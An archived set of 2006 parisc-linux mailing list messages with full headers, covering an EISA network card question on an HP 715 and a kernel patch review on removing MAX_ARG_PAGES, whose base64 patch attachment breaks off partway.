Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624195 21391 80.91.229.3 (22 Nov 2014 02:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:15 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 08:00:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 11 Oct 2006 10:00:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D96F97D73A;
	Wed, 11 Oct 2006 02:00:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10813-09; Wed, 11 Oct 2006 02:00:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2B2D7D72A;
	Wed, 11 Oct 2006 02:00:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCA087D720
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 02:00:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11084-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 02:00:30 -0600 (MDT)
Original-Received: from pentafluge.infradead.org (pentafluge.infradead.org
	[213.146.154.40])
	by free.linux.hp.com (Postfix) with ESMTP id 887997D71D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 02:00:30 -0600 (MDT)
Original-Received: from a222036.upc-a.chello.nl ([62.163.222.36] helo=[172.31.3.43])
	by pentafluge.infradead.org with esmtpsa (Exim 4.62 #1 (Red Hat Linux))
	id 1GXZ0o-0001Ug-Od; Wed, 11 Oct 2006 09:00:22 +0100
In-Reply-To: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan@infradead.org> by
	pentafluge.infradead.org See http://www.infradead.org/rpr.html
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kpMfcUALf2I/GoicY2xoW2FwdWxlc9aG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24025

On Tue, 2006-10-10 at 17:05 -0700, Ollie Wild wrote:

on first sight it looks like you pin the entire userspace buffer at the
same time (but I can misread the code; this stuff is a bit of a
spaghetti by nature); that would be a DoS scenario if true...


 -- 
if you want to mail me at work (you don't), use arjan (at) linux.intel.com

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NICs on EISA bus...
Date: Wed, 11 Oct 2006 14:19:20 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <452CFD68020000C500004FA3@mail.scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624195 21394 80.91.229.3 (22 Nov 2014 02:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 18:20:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 11 Oct 2006 20:20:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 013247D77F;
	Wed, 11 Oct 2006 12:20:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20306-08; Wed, 11 Oct 2006 12:20:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04A0A7D77D;
	Wed, 11 Oct 2006 12:20:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC487D774
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 12:20:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20312-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 12:20:09 -0600 (MDT)
Original-Received: from mail.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 077C97D771
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 12:20:08 -0600 (MDT)
Original-Received: from SRCATL-MTA by mail.scires.com
	with Novell_GroupWise; Wed, 11 Oct 2006 14:19:27 -0400
X-Mailer: Novell GroupWise Internet Agent 7.0 
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oXFnAk0ea2A7W7vDOHQyRHcyOWhhasdV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24026

Thanks for the response.
This particular 715 appears to have a Scorpio EISA bus adapter.  I see
no mention of WAX as a device in the boot logs (excerpt appended below).
 Is the Scorpio a good or a bad thing in regards to getting this bus
working?  I also have a 755 with a Cobra EISA BA, any idea whether that
will work either?

James

Aug 24 01:29:35 localhost kernel: EISA bus registered
Aug 24 01:29:35 localhost kernel: Searching for devices...
Aug 24 01:29:35 localhost kernel: Found devices:
Aug 24 01:29:35 localhost kernel: 1. Stinger Optional Graphics at
0xf4000000 [0]] { 10, 0x0, 0x006, 0x00077 }
Aug 24 01:29:35 localhost kernel: 2. Scorpio Core BA at 0xf082f000 [2] {
11, 0x00, 0x007, 0x00070 }
Aug 24 01:29:35 localhost kernel: 3. Scorpio Core SCSI at 0xf0825000
[2/0/1] { 11, 0x0, 0x007, 0x00071 }
Aug 24 01:29:35 localhost kernel: 4. Scorpio Core LAN (802.3) at
0xf0826000 [2/0/2] { 10, 0x0, 0x007, 0x00072 }
Aug 24 01:29:35 localhost kernel: 5. Scorpio Core HIL at 0xf0821000
[2/0/3] { 10, 0x0, 0x007, 0x00073 }
Aug 24 01:29:35 localhost kernel: 6. Scorpio Core RS-232 at 0xf0823000
[2/0/4] { 10, 0x0, 0x007, 0x00075 }
Aug 24 01:29:35 localhost kernel: 7. Scorpio Core RS-232 at 0xf0822000
[2/0/5] { 10, 0x0, 0x007, 0x00075 }
Aug 24 01:29:35 localhost kernel: 8. Scorpio Core Centronics at
0xf0824000 [2/0/6] { 10, 0x0, 0x007, 0x00074 }
Aug 24 01:29:35 localhost kernel: 9. Scorpio Audio at 0xf1000000 [2/0/8]
{ 10, 0x0, 0x007, 0x0007b }
Aug 24 01:29:35 localhost kernel: 10. Scorpio EISA BA at 0xfc000000 [4]
{ 11, 0x0, 0x007, 0x00076 }
Aug 24 01:29:35 localhost kernel: 11. Scorpio (715/50) at 0xfffbe000 [8]
{ 0, 0x0, 0x310, 0x00004 }
Aug 24 01:29:35 localhost kernel: 12. Memory at 0xfffbf000 [9] { 1, 0x0,
0x017, 0x00009 }
Aug 24 01:29:35 localhost kernel: CPU(s): 1 x PA7100 (PCX-T) at
50.000000 MHz

>>> James Bottomley <James.Bottomley@SteelEye.com>  >>>
On Wed, 2006-10-11 at 12:22 -0400, James Love wrote:
> Writing a simple EISA driver allows me to read the board id and MAC
off
> the card, but I'm not sure if the IO or interrupts are working
> correctly.  Is there some reason (eg kernel/eisa bus issues) that I
> shouldn't expect to get this to work?  I spend all my time in
userspace,
> so I may very well have driver issues, but I'd like to know whether
this
> is even possible.

It's possible, but I'm not sure it can be done without programming the
WAX interface (that's a thing the person who last read the WAX documents
can tell us ... unfortunately we no longer seem to have a copy of the
docs).

James




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Wed, 11 Oct 2006 14:48:14 -0700
Lines: 525
Approved: news@gmane.org
Message-ID: <65dd6fd50610111448q7ff210e1nb5f14917c311c8d4__36133.8047929623$1416624195$gmane$org@mail.gmail.com>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_15902_18081752.1160603294502"
X-Trace: ger.gmane.org 1416624195 21400 80.91.229.3 (22 Nov 2014 02:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:15 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: "Peter Zijlstra" <a.p.zijlstra@chello.nl>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 21:48:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 11 Oct 2006 23:48:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 062D87D796;
	Wed, 11 Oct 2006 15:48:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22423-06; Wed, 11 Oct 2006 15:48:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 362057D774;
	Wed, 11 Oct 2006 15:48:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 675F97D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 15:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22365-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 15:48:31 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.45.12])
	by free.linux.hp.com (Postfix) with ESMTP id E8EB97D769
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 15:48:30 -0600 (MDT)
Original-Received: from zps37.corp.google.com (zps37.corp.google.com [172.25.146.37])
	by smtp-out.google.com with ESMTP id k9BLmJ2K015606
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 14:48:19 -0700
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:references;
	b=U9N/5BK6/b5LsU8tbtGfR21wzs8ZEyxfwJnpR8oq0Xh89lkUvJBdpf84aUrY8p3WU
	Jsk/zpdfFs5a6mFiHa3IQ==
Original-Received: from nf-out-0910.google.com (nfcm19.prod.google.com [10.48.114.19])
	by zps37.corp.google.com with ESMTP id k9BLjDcc011306
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 14:48:15 -0700
Original-Received: by nf-out-0910.google.com with SMTP id m19so814710nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 14:48:14 -0700 (PDT)
Original-Received: by 10.82.131.1 with SMTP id e1mr276112bud;
	Wed, 11 Oct 2006 14:48:14 -0700 (PDT)
Original-Received: by 10.82.114.19 with HTTP; Wed, 11 Oct 2006 14:48:14 -0700 (PDT)
In-Reply-To: <1160572460.2006.79.camel@taijtu>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hVQecWgwX1VpCOuYY2FywfZ3SDc4NMxD
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24027

------=_Part_15902_18081752.1160603294502
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

> Yeah, you'll need to change the PTEs for those pages you created by
> calling get_user_page() by calling an mprotect like function; perhaps
> something like:

Thanks.  I've incorporated your changes (updated patch attached).

> > +               /* Move stack pages down in memory. */
> > +               if (stack_shift) {
> > +                       // FIXME: Verify the shift is OK.
> > +
>
> What exactly are you wondering about? the call to move_vma looks sane to
> me

My concern was that the binfmt handler may have setup other vm areas
which overlap the new range.  The move_vma() function doesn't do
overlap checking.  I'm not sure if this is something I need to guard
against, or if it falls in the "Don't do that!" category.

Ollie

------=_Part_15902_18081752.1160603294502
Content-Type: application/octet-stream; name=no_MAX_ARG_PAGES.patch
Content-Transfer-Encoding: base64
X-Attachment-Id: f_et68xy6a
Content-Disposition: attachment; filename="no_MAX_ARG_PAGES.patch"

ZGlmZiAtLWdpdCBhL2FyY2gveDg2XzY0L2lhMzIvaWEzMl9iaW5mbXQuYyBiL2FyY2gveDg2XzY0
L2lhMzIvaWEzMl9iaW5mbXQuYwppbmRleCA4MmVmMTgyLi4yZTVhOTM0IDEwMDY0NAotLS0gYS9h
cmNoL3g4Nl82NC9pYTMyL2lhMzJfYmluZm10LmMKKysrIGIvYXJjaC94ODZfNjQvaWEzMi9pYTMy
X2JpbmZtdC5jCkBAIC0yNzksOSArMjc5LDYgQEAgI2RlZmluZSBleGl0X2VsZl9iaW5mbXQJCQll
eGl0X2VsZjMyX2JpbgogI2RlZmluZSBsb2FkX2VsZl9iaW5hcnkgbG9hZF9lbGYzMl9iaW5hcnkK
IAogI2RlZmluZSBFTEZfUExBVF9JTklUKHIsIGxvYWRfYWRkcikJZWxmMzJfaW5pdChyKQotI2Rl
ZmluZSBzZXR1cF9hcmdfcGFnZXMoYnBybSwgc3RhY2tfdG9wLCBleGVjX3N0YWNrKSBcCi0JaWEz
Ml9zZXR1cF9hcmdfcGFnZXMoYnBybSwgc3RhY2tfdG9wLCBleGVjX3N0YWNrKQotaW50IGlhMzJf
c2V0dXBfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHVuc2lnbmVkIGxvbmcg
c3RhY2tfdG9wLCBpbnQgZXhlY3V0YWJsZV9zdGFjayk7CiAKICN1bmRlZiBzdGFydF90aHJlYWQK
ICNkZWZpbmUgc3RhcnRfdGhyZWFkKHJlZ3MsbmV3X3JpcCxuZXdfcnNwKSBkbyB7IFwKQEAgLTMz
OCw1NyArMzM1LDcgQEAgc3RhdGljIHZvaWQgZWxmMzJfaW5pdChzdHJ1Y3QgcHRfcmVncyAqcgog
aW50IGlhMzJfc2V0dXBfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHVuc2ln
bmVkIGxvbmcgc3RhY2tfdG9wLAogCQkJIGludCBleGVjdXRhYmxlX3N0YWNrKQogewotCXVuc2ln
bmVkIGxvbmcgc3RhY2tfYmFzZTsKLQlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKm1wbnQ7Ci0Jc3Ry
dWN0IG1tX3N0cnVjdCAqbW0gPSBjdXJyZW50LT5tbTsKLQlpbnQgaSwgcmV0OwotCi0Jc3RhY2tf
YmFzZSA9IHN0YWNrX3RvcCAtIE1BWF9BUkdfUEFHRVMgKiBQQUdFX1NJWkU7Ci0JbW0tPmFyZ19z
dGFydCA9IGJwcm0tPnAgKyBzdGFja19iYXNlOwotCi0JYnBybS0+cCArPSBzdGFja19iYXNlOwot
CWlmIChicHJtLT5sb2FkZXIpCi0JCWJwcm0tPmxvYWRlciArPSBzdGFja19iYXNlOwotCWJwcm0t
PmV4ZWMgKz0gc3RhY2tfYmFzZTsKLQotCW1wbnQgPSBrbWVtX2NhY2hlX2FsbG9jKHZtX2FyZWFf
Y2FjaGVwLCBTTEFCX0tFUk5FTCk7Ci0JaWYgKCFtcG50KSAKLQkJcmV0dXJuIC1FTk9NRU07IAot
Ci0JbWVtc2V0KG1wbnQsIDAsIHNpemVvZigqbXBudCkpOwotCi0JZG93bl93cml0ZSgmbW0tPm1t
YXBfc2VtKTsKLQl7Ci0JCW1wbnQtPnZtX21tID0gbW07Ci0JCW1wbnQtPnZtX3N0YXJ0ID0gUEFH
RV9NQVNLICYgKHVuc2lnbmVkIGxvbmcpIGJwcm0tPnA7Ci0JCW1wbnQtPnZtX2VuZCA9IHN0YWNr
X3RvcDsKLQkJaWYgKGV4ZWN1dGFibGVfc3RhY2sgPT0gRVhTVEFDS19FTkFCTEVfWCkKLQkJCW1w
bnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1MgfCAgVk1fRVhFQzsKLQkJZWxzZSBpZiAoZXhl
Y3V0YWJsZV9zdGFjayA9PSBFWFNUQUNLX0RJU0FCTEVfWCkKLQkJCW1wbnQtPnZtX2ZsYWdzID0g
Vk1fU1RBQ0tfRkxBR1MgJiB+Vk1fRVhFQzsKLQkJZWxzZQotCQkJbXBudC0+dm1fZmxhZ3MgPSBW
TV9TVEFDS19GTEFHUzsKLSAJCW1wbnQtPnZtX3BhZ2VfcHJvdCA9IChtcG50LT52bV9mbGFncyAm
IFZNX0VYRUMpID8gCi0gCQkJUEFHRV9DT1BZX0VYRUMgOiBQQUdFX0NPUFk7Ci0JCWlmICgocmV0
ID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgbXBudCkpKSB7Ci0JCQl1cF93cml0ZSgmbW0tPm1tYXBf
c2VtKTsKLQkJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwgbXBudCk7Ci0JCQlyZXR1
cm4gcmV0OwotCQl9Ci0JCW1tLT5zdGFja192bSA9IG1tLT50b3RhbF92bSA9IHZtYV9wYWdlcyht
cG50KTsKLQl9IAotCi0JZm9yIChpID0gMCA7IGkgPCBNQVhfQVJHX1BBR0VTIDsgaSsrKSB7Ci0J
CXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+cGFnZVtpXTsKLQkJaWYgKHBhZ2UpIHsKLQkJCWJw
cm0tPnBhZ2VbaV0gPSBOVUxMOwotCQkJaW5zdGFsbF9hcmdfcGFnZShtcG50LCBwYWdlLCBzdGFj
a19iYXNlKTsKLQkJfQotCQlzdGFja19iYXNlICs9IFBBR0VfU0laRTsKLQl9Ci0JdXBfd3JpdGUo
Jm1tLT5tbWFwX3NlbSk7Ci0JCi0JcmV0dXJuIDA7CisJcmV0dXJuIHNldHVwX2FyZ19wYWdlcyhi
cHJtLCBzdGFja190b3AsIGV4ZWN1dGFibGVfc3RhY2spOwogfQogRVhQT1JUX1NZTUJPTChpYTMy
X3NldHVwX2FyZ19wYWdlcyk7CiAKZGlmZiAtLWdpdCBhL2ZzL2JpbmZtdF9lbGYuYyBiL2ZzL2Jp
bmZtdF9lbGYuYwppbmRleCAwNjQzNWYzLi5kMGUyMjkyIDEwMDY0NAotLS0gYS9mcy9iaW5mbXRf
ZWxmLmMKKysrIGIvZnMvYmluZm10X2VsZi5jCkBAIC0yNTUsOCArMjU1LDggQEAgI2VuZGlmCiAJ
d2hpbGUgKGFyZ2MtLSA+IDApIHsKIAkJc2l6ZV90IGxlbjsKIAkJX19wdXRfdXNlcigoZWxmX2Fk
ZHJfdClwLCBhcmd2KyspOwotCQlsZW4gPSBzdHJubGVuX3VzZXIoKHZvaWQgX191c2VyICopcCwg
UEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMpOwotCQlpZiAoIWxlbiB8fCBsZW4gPiBQQUdFX1NJWkUq
TUFYX0FSR19QQUdFUykKKwkJbGVuID0gc3Rybmxlbl91c2VyKCh2b2lkIF9fdXNlciAqKXAsIE1B
WF9BUkdfU1RSTEVOKTsKKwkJaWYgKCFsZW4gfHwgbGVuID4gTUFYX0FSR19TVFJMRU4pCiAJCQly
ZXR1cm4gMDsKIAkJcCArPSBsZW47CiAJfQpAQCAtMjY2LDggKzI2Niw4IEBAICNlbmRpZgogCXdo
aWxlIChlbnZjLS0gPiAwKSB7CiAJCXNpemVfdCBsZW47CiAJCV9fcHV0X3VzZXIoKGVsZl9hZGRy
X3QpcCwgZW52cCsrKTsKLQkJbGVuID0gc3Rybmxlbl91c2VyKCh2b2lkIF9fdXNlciAqKXAsIFBB
R0VfU0laRSpNQVhfQVJHX1BBR0VTKTsKLQkJaWYgKCFsZW4gfHwgbGVuID4gUEFHRV9TSVpFKk1B
WF9BUkdfUEFHRVMpCisJCWxlbiA9IHN0cm5sZW5fdXNlcigodm9pZCBfX3VzZXIgKilwLCBNQVhf
QVJHX1NUUkxFTik7CisJCWlmICghbGVuIHx8IGxlbiA+IE1BWF9BUkdfU1RSTEVOKQogCQkJcmV0
dXJuIDA7CiAJCXAgKz0gbGVuOwogCX0KQEAgLTc2OSwxMCArNzY5LDYgQEAgc3RhdGljIGludCBs
b2FkX2VsZl9iaW5hcnkoc3RydWN0IGxpbnV4XwogCX0KIAogCS8qIE9LLCBUaGlzIGlzIHRoZSBw
b2ludCBvZiBubyByZXR1cm4gKi8KLQljdXJyZW50LT5tbS0+c3RhcnRfZGF0YSA9IDA7Ci0JY3Vy
cmVudC0+bW0tPmVuZF9kYXRhID0gMDsKLQljdXJyZW50LT5tbS0+ZW5kX2NvZGUgPSAwOwotCWN1
cnJlbnQtPm1tLT5tbWFwID0gTlVMTDsKIAljdXJyZW50LT5mbGFncyAmPSB+UEZfRk9SS05PRVhF
QzsKIAljdXJyZW50LT5tbS0+ZGVmX2ZsYWdzID0gZGVmX2ZsYWdzOwogCmRpZmYgLS1naXQgYS9m
cy9iaW5mbXRfbWlzYy5jIGIvZnMvYmluZm10X21pc2MuYwppbmRleCAxNzEzYzQ4Li4xMzc4YmEz
IDEwMDY0NAotLS0gYS9mcy9iaW5mbXRfbWlzYy5jCisrKyBiL2ZzL2JpbmZtdF9taXNjLmMKQEAg
LTEyNiw3ICsxMjYsOSBAQCBzdGF0aWMgaW50IGxvYWRfbWlzY19iaW5hcnkoc3RydWN0IGxpbnV4
CiAJCWdvdG8gX3JldDsKIAogCWlmICghKGZtdC0+ZmxhZ3MgJiBNSVNDX0ZNVF9QUkVTRVJWRV9B
UkdWMCkpIHsKLQkJcmVtb3ZlX2FyZ196ZXJvKGJwcm0pOworCQlyZXR2YWwgPSByZW1vdmVfYXJn
X3plcm8oYnBybSk7CisJCWlmIChyZXR2YWwpCisJCQlnb3RvIF9yZXQ7CiAJfQogCiAJaWYgKGZt
dC0+ZmxhZ3MgJiBNSVNDX0ZNVF9PUEVOX0JJTkFSWSkgewpkaWZmIC0tZ2l0IGEvZnMvYmluZm10
X3NjcmlwdC5jIGIvZnMvYmluZm10X3NjcmlwdC5jCmluZGV4IDFlZGJjY2EuLjViNjMwOWYgMTAw
NjQ0Ci0tLSBhL2ZzL2JpbmZtdF9zY3JpcHQuYworKysgYi9mcy9iaW5mbXRfc2NyaXB0LmMKQEAg
LTY4LDcgKzY4LDkgQEAgc3RhdGljIGludCBsb2FkX3NjcmlwdChzdHJ1Y3QgbGludXhfYmlucAog
CSAqIFRoaXMgaXMgZG9uZSBpbiByZXZlcnNlIG9yZGVyLCBiZWNhdXNlIG9mIGhvdyB0aGUKIAkg
KiB1c2VyIGVudmlyb25tZW50IGFuZCBhcmd1bWVudHMgYXJlIHN0b3JlZC4KIAkgKi8KLQlyZW1v
